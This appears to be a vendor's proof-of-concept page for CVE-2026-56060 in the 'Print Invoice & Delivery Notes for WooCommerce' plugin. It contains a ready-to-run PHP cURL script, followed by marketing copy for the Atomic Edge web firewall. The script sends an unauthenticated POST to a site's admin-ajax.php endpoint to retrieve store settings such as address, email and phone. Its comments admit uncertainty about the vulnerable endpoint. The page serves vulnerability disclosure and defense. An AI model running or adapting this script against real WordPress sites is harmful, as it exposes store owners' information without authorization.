// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-56060 - Print Invoice & Delivery Notes for WooCommerce <= 7.1.1 - Unauthenticated Information Exposure

/*
 * This PoC exploits the unauthenticated information exposure in the Print Invoice & Delivery Notes plugin.
 * It retrieves the plugin's settings (including store address, phone, email, footer text, policies) 
 * by calling the vulnerable admin-ajax.php endpoint without authentication.
 */

$target_url = 'http://example.com'; // Change this to the target WordPress site

$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';

// Initialize cURL
$ch = curl_init();

// Prepare the POST data. The action parameter is 'print_order' or a custom REST endpoint.
// Based on the code diff, the vulnerable endpoint is likely the settings retrieval called via AJAX.
// We try the 'print_order' action which is used in class-frontend.php to load document data.
$post_data = array(
    'action' => 'print_order',
    'order_id' => 1 // A sample order ID (may not exist, but endpoint still returns settings)
);

curl_setopt_array($ch, array(
    CURLOPT_URL => $ajax_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_data),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HEADER => false,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false,
    CURLOPT_TIMEOUT => 30
));

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($response === false) {
    echo '[!] cURL error: ' . curl_error($ch) . "n";
    curl_close($ch);
    exit(1);
}

curl_close($ch);

echo "[+] HTTP Response Code: $http_codenn";
echo "[+] Response body:n";
echo print_r($response, true);

/*
 * Expected output: The response will contain the plugin's settings JSON array,
 * including fields like storeAddress, storeName, email, phone, footerText, 
 * complimentaryClose, policies, and other configuration data.
 */

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.